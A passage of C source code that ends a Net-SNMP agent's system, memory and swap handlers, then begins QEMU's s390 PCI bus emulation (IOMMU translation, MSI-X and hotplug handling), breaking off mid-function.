sys.SystemUpTime_len);
break;
case CPQLINOSSYSCONTEXTSWITCHPERSEC:
val = sys.ContextSwitchesPersec;
snmp_set_var_typed_value(requests->requestvb, ASN_INTEGER,
(u_char *)&val, sizeof(val));
break;
case CPQLINOSSYSPROCESSES:
val = sys.Processes;
snmp_set_var_typed_value(requests->requestvb, ASN_INTEGER,
(u_char *)&val, sizeof(val));
break;
default:
/*
* An unsupported/unreadable column (if applicable)
*/
netsnmp_set_request_error( reqinfo, requests,
SNMP_NOSUCHOBJECT );
return SNMP_ERR_NOERROR;
}
break;
default:
snmp_log(LOG_ERR, "unknown mode (%d) in cpqLinOs_handlery\n",
reqinfo->mode);
return SNMP_ERR_GENERR;
}
return SNMP_ERR_NOERROR;
}
int
cpqLinOsMem_handler(netsnmp_mib_handler *handler,
netsnmp_handler_registration *reginfo,
netsnmp_agent_request_info *reqinfo,
netsnmp_request_info *requests)
{
long val = 0;
switch (reqinfo->mode) {
case MODE_GET:
switch (requests->requestvb->name[ reginfo->rootoid_len - 2 ]) {
case CPQLINOSMEMTOTAL:
val = mem.Total;
break;
case CPQLINOSMEMFREE:
val = mem.Free;
break;
case CPQLINOSMEMHIGHTOTAL:
val = mem.HighTotal;
break;
case CPQLINOSMEMHIGHFREE:
val = mem.HighFree;
break;
case CPQLINOSMEMLOWTOTAL:
val = mem.LowTotal;
break;
case CPQLINOSMEMLOWFREE:
val = mem.LowFree;
break;
case CPQLINOSMEMSWAPTOTAL:
val = mem.SwapTotal;
break;
case CPQLINOSMEMSWAPFREE:
val = mem.SwapFree;
break;
case CPQLINOSMEMCACHED:
val = mem.Cached;
break;
case CPQLINOSMEMSWAPCACHED:
val = mem.SwapCached;
break;
case CPQLINOSMEMACTIVE:
val = mem.Active;
break;
case CPQLINOSMEMINACTIVEDIRTY:
val = mem.InactiveDirty;
break;
case CPQLINOSMEMINACTIVECLEAN:
val = mem.InactiveClean;
break;
default:
/*
* An unsupported/unreadable column (if applicable)
*/
snmp_log(LOG_ERR, "unknown object (%lu) in cpqLinOsMem_handler\n",
requests->requestvb->name[ reginfo->rootoid_len - 2 ]);
netsnmp_set_request_error( reqinfo, requests,
SNMP_NOSUCHOBJECT );
return SNMP_ERR_NOERROR;
}
snmp_set_var_typed_value(requests->requestvb, ASN_INTEGER,
(u_char *)&val, sizeof(val));
break;
default:
snmp_log(LOG_ERR, "unknown mode (%d) in cpqLinOs_handlery\n",
reqinfo->mode);
return SNMP_ERR_GENERR;
}
return SNMP_ERR_NOERROR;
}
int
cpqLinOsSwap_handler(netsnmp_mib_handler *handler,
netsnmp_handler_registration *reginfo,
netsnmp_agent_request_info *reqinfo,
netsnmp_request_info *requests)
{
long val = 0;
switch (reqinfo->mode) {
case MODE_GET:
switch (requests->requestvb->name[ reginfo->rootoid_len - 2 ]) {
case CPQLINOSSWAPINPERSEC:
val = swap.SwapInPerSec;
break;
case CPQLINOSSWAPOUTPERSEC:
val = swap.SwapOutPerSec;
break;
case CPQLINOSPAGESWAPINPERSEC:
val = swap.PageSwapInPerSec;
break;
case CPQLINOSPAGESWAPOUTPERSEC:
val = swap.PageSwapOutPerSec;
break;
case CPQLINOSMINFLTPERSEC:
val = swap.MinFltPerSec;
break;
case CPQLINOSMAJFLTPERSEC:
val = swap.MajFltPerSec;
break;
default:
/*
* An unsupported/unreadable column (if applicable)
*/
snmp_log(LOG_ERR, "unknown object (%lu) in cpqLinOs_handler\n",
requests->requestvb->name[ reginfo->rootoid_len - 2 ]);
netsnmp_set_request_error( reqinfo, requests,
SNMP_NOSUCHOBJECT );
return SNMP_ERR_NOERROR;
}
snmp_set_var_typed_value(requests->requestvb, ASN_INTEGER,
(u_char *)&val, sizeof(val));
break;
default:
snmp_log(LOG_ERR, "unknown mode (%d) in cpqLinOs_handlery\n",
reqinfo->mode);
return SNMP_ERR_GENERR;
}
return SNMP_ERR_NOERROR;
}
|
324881.c | /*
* s390 PCI BUS
*
* Copyright 2014 IBM Corp.
* Author(s): Frank Blaschka <[email protected]>
* Hong Bo Li <[email protected]>
* Yi Min Zhao <[email protected]>
*
* This work is licensed under the terms of the GNU GPL, version 2 or (at
* your option) any later version. See the COPYING file in the top-level
* directory.
*/
#include "qemu/osdep.h"
#include "qapi/error.h"
#include "qapi/visitor.h"
#include "cpu.h"
#include "hw/s390x/s390-pci-bus.h"
#include "hw/s390x/s390-pci-inst.h"
#include "hw/s390x/s390-pci-vfio.h"
#include "hw/pci/pci_bus.h"
#include "hw/qdev-properties.h"
#include "hw/pci/pci_bridge.h"
#include "hw/pci/msi.h"
#include "qemu/error-report.h"
#include "qemu/module.h"
#ifndef DEBUG_S390PCI_BUS
#define DEBUG_S390PCI_BUS 0
#endif
#define DPRINTF(fmt, ...) \
do { \
if (DEBUG_S390PCI_BUS) { \
fprintf(stderr, "S390pci-bus: " fmt, ## __VA_ARGS__); \
} \
} while (0)
S390pciState *s390_get_phb(void)
{
static S390pciState *phb;
if (!phb) {
phb = S390_PCI_HOST_BRIDGE(
object_resolve_path(TYPE_S390_PCI_HOST_BRIDGE, NULL));
assert(phb != NULL);
}
return phb;
}
int pci_chsc_sei_nt2_get_event(void *res)
{
ChscSeiNt2Res *nt2_res = (ChscSeiNt2Res *)res;
PciCcdfAvail *accdf;
PciCcdfErr *eccdf;
int rc = 1;
SeiContainer *sei_cont;
S390pciState *s = s390_get_phb();
sei_cont = QTAILQ_FIRST(&s->pending_sei);
if (sei_cont) {
QTAILQ_REMOVE(&s->pending_sei, sei_cont, link);
nt2_res->nt = 2;
nt2_res->cc = sei_cont->cc;
nt2_res->length = cpu_to_be16(sizeof(ChscSeiNt2Res));
switch (sei_cont->cc) {
case 1: /* error event */
eccdf = (PciCcdfErr *)nt2_res->ccdf;
eccdf->fid = cpu_to_be32(sei_cont->fid);
eccdf->fh = cpu_to_be32(sei_cont->fh);
eccdf->e = cpu_to_be32(sei_cont->e);
eccdf->faddr = cpu_to_be64(sei_cont->faddr);
eccdf->pec = cpu_to_be16(sei_cont->pec);
break;
case 2: /* availability event */
accdf = (PciCcdfAvail *)nt2_res->ccdf;
accdf->fid = cpu_to_be32(sei_cont->fid);
accdf->fh = cpu_to_be32(sei_cont->fh);
accdf->pec = cpu_to_be16(sei_cont->pec);
break;
default:
abort();
}
g_free(sei_cont);
rc = 0;
}
return rc;
}
int pci_chsc_sei_nt2_have_event(void)
{
S390pciState *s = s390_get_phb();
return !QTAILQ_EMPTY(&s->pending_sei);
}
S390PCIBusDevice *s390_pci_find_next_avail_dev(S390pciState *s,
S390PCIBusDevice *pbdev)
{
S390PCIBusDevice *ret = pbdev ? QTAILQ_NEXT(pbdev, link) :
QTAILQ_FIRST(&s->zpci_devs);
while (ret && ret->state == ZPCI_FS_RESERVED) {
ret = QTAILQ_NEXT(ret, link);
}
return ret;
}
S390PCIBusDevice *s390_pci_find_dev_by_fid(S390pciState *s, uint32_t fid)
{
S390PCIBusDevice *pbdev;
QTAILQ_FOREACH(pbdev, &s->zpci_devs, link) {
if (pbdev->fid == fid) {
return pbdev;
}
}
return NULL;
}
void s390_pci_sclp_configure(SCCB *sccb)
{
IoaCfgSccb *psccb = (IoaCfgSccb *)sccb;
S390PCIBusDevice *pbdev = s390_pci_find_dev_by_fid(s390_get_phb(),
be32_to_cpu(psccb->aid));
uint16_t rc;
if (!pbdev) {
DPRINTF("sclp config no dev found\n");
rc = SCLP_RC_ADAPTER_ID_NOT_RECOGNIZED;
goto out;
}
switch (pbdev->state) {
case ZPCI_FS_RESERVED:
rc = SCLP_RC_ADAPTER_IN_RESERVED_STATE;
break;
case ZPCI_FS_STANDBY:
pbdev->state = ZPCI_FS_DISABLED;
rc = SCLP_RC_NORMAL_COMPLETION;
break;
default:
rc = SCLP_RC_NO_ACTION_REQUIRED;
}
out:
psccb->header.response_code = cpu_to_be16(rc);
}
static void s390_pci_perform_unplug(S390PCIBusDevice *pbdev)
{
HotplugHandler *hotplug_ctrl;
/* Unplug the PCI device */
if (pbdev->pdev) {
DeviceState *pdev = DEVICE(pbdev->pdev);
hotplug_ctrl = qdev_get_hotplug_handler(pdev);
hotplug_handler_unplug(hotplug_ctrl, pdev, &error_abort);
object_unparent(OBJECT(pdev));
}
/* Unplug the zPCI device */
hotplug_ctrl = qdev_get_hotplug_handler(DEVICE(pbdev));
hotplug_handler_unplug(hotplug_ctrl, DEVICE(pbdev), &error_abort);
object_unparent(OBJECT(pbdev));
}
void s390_pci_sclp_deconfigure(SCCB *sccb)
{
IoaCfgSccb *psccb = (IoaCfgSccb *)sccb;
S390PCIBusDevice *pbdev = s390_pci_find_dev_by_fid(s390_get_phb(),
be32_to_cpu(psccb->aid));
uint16_t rc;
if (!pbdev) {
DPRINTF("sclp deconfig no dev found\n");
rc = SCLP_RC_ADAPTER_ID_NOT_RECOGNIZED;
goto out;
}
switch (pbdev->state) {
case ZPCI_FS_RESERVED:
rc = SCLP_RC_ADAPTER_IN_RESERVED_STATE;
break;
case ZPCI_FS_STANDBY:
rc = SCLP_RC_NO_ACTION_REQUIRED;
break;
default:
if (pbdev->summary_ind) {
pci_dereg_irqs(pbdev);
}
if (pbdev->iommu->enabled) {
pci_dereg_ioat(pbdev->iommu);
}
pbdev->state = ZPCI_FS_STANDBY;
rc = SCLP_RC_NORMAL_COMPLETION;
if (pbdev->unplug_requested) {
s390_pci_perform_unplug(pbdev);
}
}
out:
psccb->header.response_code = cpu_to_be16(rc);
}
static S390PCIBusDevice *s390_pci_find_dev_by_uid(S390pciState *s, uint16_t uid)
{
S390PCIBusDevice *pbdev;
QTAILQ_FOREACH(pbdev, &s->zpci_devs, link) {
if (pbdev->uid == uid) {
return pbdev;
}
}
return NULL;
}
S390PCIBusDevice *s390_pci_find_dev_by_target(S390pciState *s,
const char *target)
{
S390PCIBusDevice *pbdev;
if (!target) {
return NULL;
}
QTAILQ_FOREACH(pbdev, &s->zpci_devs, link) {
if (!strcmp(pbdev->target, target)) {
return pbdev;
}
}
return NULL;
}
static S390PCIBusDevice *s390_pci_find_dev_by_pci(S390pciState *s,
PCIDevice *pci_dev)
{
S390PCIBusDevice *pbdev;
if (!pci_dev) {
return NULL;
}
QTAILQ_FOREACH(pbdev, &s->zpci_devs, link) {
if (pbdev->pdev == pci_dev) {
return pbdev;
}
}
return NULL;
}
S390PCIBusDevice *s390_pci_find_dev_by_idx(S390pciState *s, uint32_t idx)
{
return g_hash_table_lookup(s->zpci_table, &idx);
}
S390PCIBusDevice *s390_pci_find_dev_by_fh(S390pciState *s, uint32_t fh)
{
uint32_t idx = FH_MASK_INDEX & fh;
S390PCIBusDevice *pbdev = s390_pci_find_dev_by_idx(s, idx);
if (pbdev && pbdev->fh == fh) {
return pbdev;
}
return NULL;
}
static void s390_pci_generate_event(uint8_t cc, uint16_t pec, uint32_t fh,
uint32_t fid, uint64_t faddr, uint32_t e)
{
SeiContainer *sei_cont;
S390pciState *s = s390_get_phb();
sei_cont = g_new0(SeiContainer, 1);
sei_cont->fh = fh;
sei_cont->fid = fid;
sei_cont->cc = cc;
sei_cont->pec = pec;
sei_cont->faddr = faddr;
sei_cont->e = e;
QTAILQ_INSERT_TAIL(&s->pending_sei, sei_cont, link);
css_generate_css_crws(0);
}
static void s390_pci_generate_plug_event(uint16_t pec, uint32_t fh,
uint32_t fid)
{
s390_pci_generate_event(2, pec, fh, fid, 0, 0);
}
void s390_pci_generate_error_event(uint16_t pec, uint32_t fh, uint32_t fid,
uint64_t faddr, uint32_t e)
{
s390_pci_generate_event(1, pec, fh, fid, faddr, e);
}
static void s390_pci_set_irq(void *opaque, int irq, int level)
{
/* nothing to do */
}
static int s390_pci_map_irq(PCIDevice *pci_dev, int irq_num)
{
/* nothing to do */
return 0;
}
static uint64_t s390_pci_get_table_origin(uint64_t iota)
{
return iota & ~ZPCI_IOTA_RTTO_FLAG;
}
static unsigned int calc_rtx(dma_addr_t ptr)
{
return ((unsigned long) ptr >> ZPCI_RT_SHIFT) & ZPCI_INDEX_MASK;
}
static unsigned int calc_sx(dma_addr_t ptr)
{
return ((unsigned long) ptr >> ZPCI_ST_SHIFT) & ZPCI_INDEX_MASK;
}
static unsigned int calc_px(dma_addr_t ptr)
{
return ((unsigned long) ptr >> PAGE_SHIFT) & ZPCI_PT_MASK;
}
static uint64_t get_rt_sto(uint64_t entry)
{
return ((entry & ZPCI_TABLE_TYPE_MASK) == ZPCI_TABLE_TYPE_RTX)
? (entry & ZPCI_RTE_ADDR_MASK)
: 0;
}
static uint64_t get_st_pto(uint64_t entry)
{
return ((entry & ZPCI_TABLE_TYPE_MASK) == ZPCI_TABLE_TYPE_SX)
? (entry & ZPCI_STE_ADDR_MASK)
: 0;
}
static bool rt_entry_isvalid(uint64_t entry)
{
return (entry & ZPCI_TABLE_VALID_MASK) == ZPCI_TABLE_VALID;
}
static bool pt_entry_isvalid(uint64_t entry)
{
return (entry & ZPCI_PTE_VALID_MASK) == ZPCI_PTE_VALID;
}
static bool entry_isprotected(uint64_t entry)
{
return (entry & ZPCI_TABLE_PROT_MASK) == ZPCI_TABLE_PROTECTED;
}
/* ett is expected table type, -1 page table, 0 segment table, 1 region table */
static uint64_t get_table_index(uint64_t iova, int8_t ett)
{
switch (ett) {
case ZPCI_ETT_PT:
return calc_px(iova);
case ZPCI_ETT_ST:
return calc_sx(iova);
case ZPCI_ETT_RT:
return calc_rtx(iova);
}
return -1;
}
static bool entry_isvalid(uint64_t entry, int8_t ett)
{
switch (ett) {
case ZPCI_ETT_PT:
return pt_entry_isvalid(entry);
case ZPCI_ETT_ST:
case ZPCI_ETT_RT:
return rt_entry_isvalid(entry);
}
return false;
}
/* Return true if address translation is done */
static bool translate_iscomplete(uint64_t entry, int8_t ett)
{
switch (ett) {
case 0:
return (entry & ZPCI_TABLE_FC) ? true : false;
case 1:
return false;
}
return true;
}
static uint64_t get_frame_size(int8_t ett)
{
switch (ett) {
case ZPCI_ETT_PT:
return 1ULL << 12;
case ZPCI_ETT_ST:
return 1ULL << 20;
case ZPCI_ETT_RT:
return 1ULL << 31;
}
return 0;
}
static uint64_t get_next_table_origin(uint64_t entry, int8_t ett)
{
switch (ett) {
case ZPCI_ETT_PT:
return entry & ZPCI_PTE_ADDR_MASK;
case ZPCI_ETT_ST:
return get_st_pto(entry);
case ZPCI_ETT_RT:
return get_rt_sto(entry);
}
return 0;
}
/**
* table_translate: do translation within one table and return the following
* table origin
*
* @entry: the entry being translated, the result is stored in this.
* @to: the address of table origin.
* @ett: expected table type, 1 region table, 0 segment table and -1 page table.
* @error: error code
*/
static uint64_t table_translate(S390IOTLBEntry *entry, uint64_t to, int8_t ett,
uint16_t *error)
{
uint64_t tx, te, nto = 0;
uint16_t err = 0;
tx = get_table_index(entry->iova, ett);
te = address_space_ldq(&address_space_memory, to + tx * sizeof(uint64_t),
MEMTXATTRS_UNSPECIFIED, NULL);
if (!te) {
err = ERR_EVENT_INVALTE;
goto out;
}
if (!entry_isvalid(te, ett)) {
entry->perm &= IOMMU_NONE;
goto out;
}
if (ett == ZPCI_ETT_RT && ((te & ZPCI_TABLE_LEN_RTX) != ZPCI_TABLE_LEN_RTX
|| te & ZPCI_TABLE_OFFSET_MASK)) {
err = ERR_EVENT_INVALTL;
goto out;
}
nto = get_next_table_origin(te, ett);
if (!nto) {
err = ERR_EVENT_TT;
goto out;
}
if (entry_isprotected(te)) {
entry->perm &= IOMMU_RO;
} else {
entry->perm &= IOMMU_RW;
}
if (translate_iscomplete(te, ett)) {
switch (ett) {
case ZPCI_ETT_PT:
entry->translated_addr = te & ZPCI_PTE_ADDR_MASK;
break;
case ZPCI_ETT_ST:
entry->translated_addr = (te & ZPCI_SFAA_MASK) |
(entry->iova & ~ZPCI_SFAA_MASK);
break;
}
nto = 0;
}
out:
if (err) {
entry->perm = IOMMU_NONE;
*error = err;
}
entry->len = get_frame_size(ett);
return nto;
}
uint16_t s390_guest_io_table_walk(uint64_t g_iota, hwaddr addr,
S390IOTLBEntry *entry)
{
uint64_t to = s390_pci_get_table_origin(g_iota);
int8_t ett = 1;
uint16_t error = 0;
entry->iova = addr & PAGE_MASK;
entry->translated_addr = 0;
entry->perm = IOMMU_RW;
if (entry_isprotected(g_iota)) {
entry->perm &= IOMMU_RO;
}
while (to) {
to = table_translate(entry, to, ett--, &error);
}
return error;
}
static IOMMUTLBEntry s390_translate_iommu(IOMMUMemoryRegion *mr, hwaddr addr,
IOMMUAccessFlags flag, int iommu_idx)
{
S390PCIIOMMU *iommu = container_of(mr, S390PCIIOMMU, iommu_mr);
S390IOTLBEntry *entry;
uint64_t iova = addr & PAGE_MASK;
uint16_t error = 0;
IOMMUTLBEntry ret = {
.target_as = &address_space_memory,
.iova = 0,
.translated_addr = 0,
.addr_mask = ~(hwaddr)0,
.perm = IOMMU_NONE,
};
switch (iommu->pbdev->state) {
case ZPCI_FS_ENABLED:
case ZPCI_FS_BLOCKED:
if (!iommu->enabled) {
return ret;
}
break;
default:
return ret;
}
DPRINTF("iommu trans addr 0x%" PRIx64 "\n", addr);
if (addr < iommu->pba || addr > iommu->pal) {
error = ERR_EVENT_OORANGE;
goto err;
}
entry = g_hash_table_lookup(iommu->iotlb, &iova);
if (entry) {
ret.iova = entry->iova;
ret.translated_addr = entry->translated_addr;
ret.addr_mask = entry->len - 1;
ret.perm = entry->perm;
} else {
ret.iova = iova;
ret.addr_mask = ~PAGE_MASK;
ret.perm = IOMMU_NONE;
}
if (flag != IOMMU_NONE && !(flag & ret.perm)) {
error = ERR_EVENT_TPROTE;
}
err:
if (error) {
iommu->pbdev->state = ZPCI_FS_ERROR;
s390_pci_generate_error_event(error, iommu->pbdev->fh,
iommu->pbdev->fid, addr, 0);
}
return ret;
}
static void s390_pci_iommu_replay(IOMMUMemoryRegion *iommu,
IOMMUNotifier *notifier)
{
/* It's impossible to plug a pci device on s390x that already has iommu
* mappings which need to be replayed, that is due to the "one iommu per
* zpci device" construct. But when we support migration of vfio-pci
* devices in future, we need to revisit this.
*/
return;
}
static S390PCIIOMMU *s390_pci_get_iommu(S390pciState *s, PCIBus *bus,
int devfn)
{
uint64_t key = (uintptr_t)bus;
S390PCIIOMMUTable *table = g_hash_table_lookup(s->iommu_table, &key);
S390PCIIOMMU *iommu;
if (!table) {
table = g_new0(S390PCIIOMMUTable, 1);
table->key = key;
g_hash_table_insert(s->iommu_table, &table->key, table);
}
iommu = table->iommu[PCI_SLOT(devfn)];
if (!iommu) {
iommu = S390_PCI_IOMMU(object_new(TYPE_S390_PCI_IOMMU));
char *mr_name = g_strdup_printf("iommu-root-%02x:%02x.%01x",
pci_bus_num(bus),
PCI_SLOT(devfn),
PCI_FUNC(devfn));
char *as_name = g_strdup_printf("iommu-pci-%02x:%02x.%01x",
pci_bus_num(bus),
PCI_SLOT(devfn),
PCI_FUNC(devfn));
memory_region_init(&iommu->mr, OBJECT(iommu), mr_name, UINT64_MAX);
address_space_init(&iommu->as, &iommu->mr, as_name);
iommu->iotlb = g_hash_table_new_full(g_int64_hash, g_int64_equal,
NULL, g_free);
table->iommu[PCI_SLOT(devfn)] = iommu;
g_free(mr_name);
g_free(as_name);
}
return iommu;
}
static AddressSpace *s390_pci_dma_iommu(PCIBus *bus, void *opaque, int devfn)
{
S390pciState *s = opaque;
S390PCIIOMMU *iommu = s390_pci_get_iommu(s, bus, devfn);
return &iommu->as;
}
static uint8_t set_ind_atomic(uint64_t ind_loc, uint8_t to_be_set)
{
uint8_t expected, actual;
hwaddr len = 1;
/* avoid multiple fetches */
uint8_t volatile *ind_addr;
ind_addr = cpu_physical_memory_map(ind_loc, &len, true);
if (!ind_addr) {
s390_pci_generate_error_event(ERR_EVENT_AIRERR, 0, 0, 0, 0);
return -1;
}
actual = *ind_addr;
do {
expected = actual;
actual = qatomic_cmpxchg(ind_addr, expected, expected | to_be_set);
} while (actual != expected);
cpu_physical_memory_unmap((void *)ind_addr, len, 1, len);
return actual;
}
static void s390_msi_ctrl_write(void *opaque, hwaddr addr, uint64_t data,
unsigned int size)
{
S390PCIBusDevice *pbdev = opaque;
uint32_t vec = data & ZPCI_MSI_VEC_MASK;
uint64_t ind_bit;
uint32_t sum_bit;
assert(pbdev);
DPRINTF("write_msix data 0x%" PRIx64 " idx %d vec 0x%x\n", data,
pbdev->idx, vec);
if (pbdev->state != ZPCI_FS_ENABLED) {
return;
}
ind_bit = pbdev->routes.adapter.ind_offset;
sum_bit = pbdev->routes.adapter.summary_offset;
set_ind_atomic(pbdev->routes.adapter.ind_addr + (ind_bit + vec) / 8,
0x80 >> ((ind_bit + vec) % 8));
if (!set_ind_atomic(pbdev->routes.adapter.summary_addr + sum_bit / 8,
0x80 >> (sum_bit % 8))) {
css_adapter_interrupt(CSS_IO_ADAPTER_PCI, pbdev->isc);
}
}
static uint64_t s390_msi_ctrl_read(void *opaque, hwaddr addr, unsigned size)
{
return 0xffffffff;
}
static const MemoryRegionOps s390_msi_ctrl_ops = {
.write = s390_msi_ctrl_write,
.read = s390_msi_ctrl_read,
.endianness = DEVICE_LITTLE_ENDIAN,
};
void s390_pci_iommu_enable(S390PCIIOMMU *iommu)
{
/*
* The iommu region is initialized against a 0-mapped address space,
* so the smallest IOMMU region we can define runs from 0 to the end
* of the PCI address space.
*/
char *name = g_strdup_printf("iommu-s390-%04x", iommu->pbdev->uid);
memory_region_init_iommu(&iommu->iommu_mr, sizeof(iommu->iommu_mr),
TYPE_S390_IOMMU_MEMORY_REGION, OBJECT(&iommu->mr),
name, iommu->pal + 1);
iommu->enabled = true;
memory_region_add_subregion(&iommu->mr, 0, MEMORY_REGION(&iommu->iommu_mr));
g_free(name);
}
void s390_pci_iommu_disable(S390PCIIOMMU *iommu)
{
iommu->enabled = false;
g_hash_table_remove_all(iommu->iotlb);
memory_region_del_subregion(&iommu->mr, MEMORY_REGION(&iommu->iommu_mr));
object_unparent(OBJECT(&iommu->iommu_mr));
}
static void s390_pci_iommu_free(S390pciState *s, PCIBus *bus, int32_t devfn)
{
uint64_t key = (uintptr_t)bus;
S390PCIIOMMUTable *table = g_hash_table_lookup(s->iommu_table, &key);
S390PCIIOMMU *iommu = table ? table->iommu[PCI_SLOT(devfn)] : NULL;
if (!table || !iommu) {
return;
}
table->iommu[PCI_SLOT(devfn)] = NULL;
g_hash_table_destroy(iommu->iotlb);
/*
* An attached PCI device may have memory listeners, eg. VFIO PCI.
* The associated subregion will already have been unmapped in
* s390_pci_iommu_disable in response to the guest deconfigure request.
* Remove the listeners now before destroying the address space.
*/
address_space_remove_listeners(&iommu->as);
address_space_destroy(&iommu->as);
object_unparent(OBJECT(&iommu->mr));
object_unparent(OBJECT(iommu));
object_unref(OBJECT(iommu));
}
S390PCIGroup *s390_group_create(int id)
{
S390PCIGroup *group;
S390pciState *s = s390_get_phb();
group = g_new0(S390PCIGroup, 1);
group->id = id;
QTAILQ_INSERT_TAIL(&s->zpci_groups, group, link);
return group;
}
S390PCIGroup *s390_group_find(int id)
{
S390PCIGroup *group;
S390pciState *s = s390_get_phb();
QTAILQ_FOREACH(group, &s->zpci_groups, link) {
if (group->id == id) {
return group;
}
}
return NULL;
}
static void s390_pci_init_default_group(void)
{
S390PCIGroup *group;
ClpRspQueryPciGrp *resgrp;
group = s390_group_create(ZPCI_DEFAULT_FN_GRP);
resgrp = &group->zpci_group;
resgrp->fr = 1;
resgrp->dasm = 0;
resgrp->msia = ZPCI_MSI_ADDR;
resgrp->mui = DEFAULT_MUI;
resgrp->i = 128;
resgrp->maxstbl = 128;
resgrp->version = 0;
}
static void set_pbdev_info(S390PCIBusDevice *pbdev)
{
pbdev->zpci_fn.sdma = ZPCI_SDMA_ADDR;
pbdev->zpci_fn.edma = ZPCI_EDMA_ADDR;
pbdev->zpci_fn.pchid = 0;
pbdev->zpci_fn.pfgid = ZPCI_DEFAULT_FN_GRP;
pbdev->zpci_fn.fid = pbdev->fid;
pbdev->zpci_fn.uid = pbdev->uid;
pbdev->pci_group = s390_group_find(ZPCI_DEFAULT_FN_GRP);
}
static void s390_pcihost_realize(DeviceState *dev, Error **errp)
{
PCIBus *b;
BusState *bus;
PCIHostState *phb = PCI_HOST_BRIDGE(dev);
S390pciState *s = S390_PCI_HOST_BRIDGE(dev);
DPRINTF("host_init\n");
b = pci_register_root_bus(dev, NULL, s390_pci_set_irq, s390_pci_map_irq,
NULL, get_system_memory(), get_system_io(), 0,
64, TYPE_PCI_BUS);
pci_setup_iommu(b, s390_pci_dma_iommu, s);
bus = BUS(b);
qbus_set_hotplug_handler(bus, OBJECT(dev));
phb->bus = b;
s->bus = S390_PCI_BUS(qbus_create(TYPE_S390_PCI_BUS, dev, NULL));
qbus_set_hotplug_handler(BUS(s->bus), OBJECT(dev));
s->iommu_table = g_hash_table_new_full(g_int64_hash, g_int64_equal,
NULL, g_free);
s->zpci_table = g_hash_table_new_full(g_int_hash, g_int_equal, NULL, NULL);
s->bus_no = 0;
QTAILQ_INIT(&s->pending_sei);
QTAILQ_INIT(&s->zpci_devs);
QTAILQ_INIT(&s->zpci_dma_limit);
QTAILQ_INIT(&s->zpci_groups);
s390_pci_init_default_group();
css_register_io_adapters(CSS_IO_ADAPTER_PCI, true, false,
S390_ADAPTER_SUPPRESSIBLE, errp);
}
static void s390_pcihost_unrealize(DeviceState *dev)
{
S390PCIGroup *group;
S390pciState *s = S390_PCI_HOST_BRIDGE(dev);
while (!QTAILQ_EMPTY(&s->zpci_groups)) {
group = QTAILQ_FIRST(&s->zpci_groups);
QTAILQ_REMOVE(&s->zpci_groups, group, link);
}
}
static int s390_pci_msix_init(S390PCIBusDevice *pbdev)
{
char *name;
uint8_t pos;
uint16_t ctrl;
uint32_t table, pba;
pos = pci_find_capability(pbdev->pdev, PCI_CAP_ID_MSIX);
if (!pos) {
return -1;
}
ctrl = pci_host_config_read_common(pbdev->pdev, pos + PCI_MSIX_FLAGS,
pci_config_size(pbdev->pdev), sizeof(ctrl));
table = pci_host_config_read_common(pbdev->pdev, pos + PCI_MSIX_TABLE,
pci_config_size(pbdev->pdev), sizeof(table));
pba = pci_host_config_read_common(pbdev->pdev, pos + PCI_MSIX_PBA,
pci_config_size(pbdev->pdev), sizeof(pba));
pbdev->msix.table_bar = table & PCI_MSIX_FLAGS_BIRMASK;
pbdev->msix.table_offset = table & ~PCI_MSIX_FLAGS_BIRMASK;
pbdev->msix.pba_bar = pba & PCI_MSIX_FLAGS_BIRMASK;
pbdev->msix.pba_offset = pba & ~PCI_MSIX_FLAGS_BIRMASK;
pbdev->msix.entries = (ctrl & PCI_MSIX_FLAGS_QSIZE) + 1;
name = g_strdup_printf("msix-s390-%04x", pbdev->uid);
memory_region_init_io(&pbdev->msix_notify_mr, OBJECT(pbdev),
&s390_msi_ctrl_ops, pbdev, name, PAGE_SIZE);
memory_region_add_subregion(&pbdev->iommu->mr,
pbdev->pci_group->zpci_group.msia,
&pbdev->msix_notify_mr);
g_free(name);
return 0;
}
static void s390_pci_msix_free(S390PCIBusDevice *pbdev)
{
memory_region_del_subregion(&pbdev->iommu->mr, &pbdev->msix_notify_mr);
object_unparent(OBJECT(&pbdev->msix_notify_mr));
}
static S390PCIBusDevice *s390_pci_device_new(S390pciState *s,
const char *target, Error **errp)
{
Error *local_err = NULL;
DeviceState *dev;
dev = qdev_try_new(TYPE_S390_PCI_DEVICE);
if (!dev) {
error_setg(errp, "zPCI device could not be created");
return NULL;
}
if (!object_property_set_str(OBJECT(dev), "target", target, &local_err)) {
object_unparent(OBJECT(dev));
error_propagate_prepend(errp, local_err,
"zPCI device could not be created: ");
return NULL;
}
if (!qdev_realize_and_unref(dev, BUS(s->bus), &local_err)) {
object_unparent(OBJECT(dev));
error_propagate_prepend(errp, local_err,
"zPCI device could not be created: ");
return NULL;
}
return S390_PCI_DEVICE(dev);
}
static bool s390_pci_alloc_idx(S390pciState *s, S390PCIBusDevice *pbdev)
{
uint32_t idx;
idx = s->next_idx;
while (s390_pci_find_dev_by_idx(s, idx)) {
idx = (idx + 1) & FH_MASK_INDEX;
if (idx == s->next_idx) {
return false;
}
}
pbdev->idx = idx;
return true;
}
static void s390_pcihost_pre_plug(HotplugHandler *hotplug_dev, DeviceState *dev,
Error **errp)
{
S390pciState *s = S390_PCI_HOST_BRIDGE(hotplug_dev);
if (!s390_has_feat(S390_FEAT_ZPCI)) {
warn_report("Plugging a PCI/zPCI device without the 'zpci' CPU "
"feature enabled; the guest will not be able to see/use "
"this device");
}
if (object_dynamic_cast(OBJECT(dev), TYPE_PCI_DEVICE)) {
PCIDevice *pdev = PCI_DEVICE(dev);
if (pdev->cap_present & QEMU_PCI_CAP_MULTIFUNCTION) {
error_setg(errp, "multifunction not supported in s390");
return;
}
} else if (object_dynamic_cast(OBJECT(dev), TYPE_S390_PCI_DEVICE)) {
S390PCIBusDevice *pbdev = S390_PCI_DEVICE(dev);
if (!s390_pci_alloc_idx(s, pbdev)) {
error_setg(errp, "no slot for plugging zpci device");
return;
}
}
}
static void s390_pci_update_subordinate(PCIDevice *dev, uint32_t nr)
{
uint32_t old_nr;
pci_default_write_config(dev, PCI_SUBORDINATE_BUS, nr, 1);
while (!pci_bus_is_root(pci_get_bus(dev))) {
dev = pci_get_bus(dev)->parent_dev;
old_nr = pci_default_read_config(dev, PCI_SUBORDINATE_BUS, 1);
if (old_nr < nr) {
pci_default_write_config(dev, PCI_SUBORDINATE_BUS, nr, 1);
}
}
}
static void s390_pcihost_plug(HotplugHandler *hotplug_dev, DeviceState *dev,
Error **errp)
{
S390pciState *s = S390_PCI_HOST_BRIDGE(hotplug_dev);
PCIDevice *pdev = NULL;
S390PCIBusDevice *pbdev = NULL;
if (object_dynamic_cast(OBJECT(dev), TYPE_PCI_BRIDGE)) {
PCIBridge *pb = PCI_BRIDGE(dev);
